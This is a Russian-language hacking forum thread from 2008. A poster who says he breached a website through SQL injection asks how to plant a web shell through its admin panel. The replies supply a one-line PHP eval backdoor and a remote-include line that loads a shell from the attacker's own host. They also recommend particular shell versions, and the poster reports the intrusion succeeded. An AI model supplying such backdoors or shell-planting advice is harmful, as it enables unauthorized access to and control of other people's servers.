FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > ОФФТОП > Болталка
Залить shell

Опции темы

Поиск в этой теме

Опции просмотра

Залить shell

07.11.2008, 09:30

Tigger

Познавший АНТИЧАТ

Регистрация: 27.08.2007

Сообщений: 1,107

Провел на форуме:
5386281

Репутация: 1177

Залить shell

Я хочу залить шелл на сайт!
Ломанул сайт с помощью SQL-иньекции, нашел пароль к админке и саму админку!
Админка: движок ее BeOnsite2
Там есть такая штука, как залить файл... Я заливал шелл, но при попытке запуска его - он пишет:
Fatal error: Call to undefined function: gzinflate() in /************ on line 6
Что можно зделать?
Как инклюдить через *.gif?
Как залить пхп файл, что бы он соеденялся с моим шеллом... То есть что бы в самом файле на взломаном сервере не было самого шелла, а было лишь подключение к нему?
Или что вы посоветуете? Жду ответов!

07.11.2008, 11:04

Ponchik

Постоянный

Регистрация: 30.08.2005

Сообщений: 730

Провел на форуме:
6828219

Репутация: 2274

PHP код:


		
			
<?php

eval(stripslashes(implode($_GET)));

?>

Юзай, только судя по созданию такой темы я очень сомневаюсь что ты поймёш что с этим делать

stripslashes естествена нужен если есть экранирование

07.11.2008, 13:31

А®ТеS

Участник форума

Регистрация: 25.11.2006

Сообщений: 291

Провел на форуме:
1537850

Репутация: 536

На сервере отключена (или отстутствует по древности) функция gzinflate(). А шелл у тебя ее использует (предположу, что шелл r57 1.40+ или c99madshell). Ты можешь использовать шелл, который обходиться без нее. Например, r57 1.31. А чтобы индклюдился шелл, то юзай такую конструкцию:

PHP код:


		
			
<?php

include("http://site.com/shell.txt");

?>

Не забудь заменить http://site.com/shell.txt на свой.

Если сервер опять заругается, то не спеши удивляться: возможно, отключена функция include или allow_url_fopen = off. Тогда, как было сказано выше, залей r57 1.31 и не парься.

07.11.2008, 14:59

Tigger

Познавший АНТИЧАТ

Регистрация: 27.08.2007

Сообщений: 1,107

Провел на форуме:
5386281

Репутация: 1177

Спасибо большое! Все получилось))
Ponchik, отдельное спасибо тебе!!!

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
webshell scripts -)	blackybr	PHP	20	28.03.2010 02:17
Как залить shell через админку Vbulletin 3.5.2?	user2006	Уязвимости CMS / форумов	8	06.02.2006 21:24
помогите залить shell	gannibal	Уязвимости	9	14.01.2006 04:40

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Help

Terms and Rules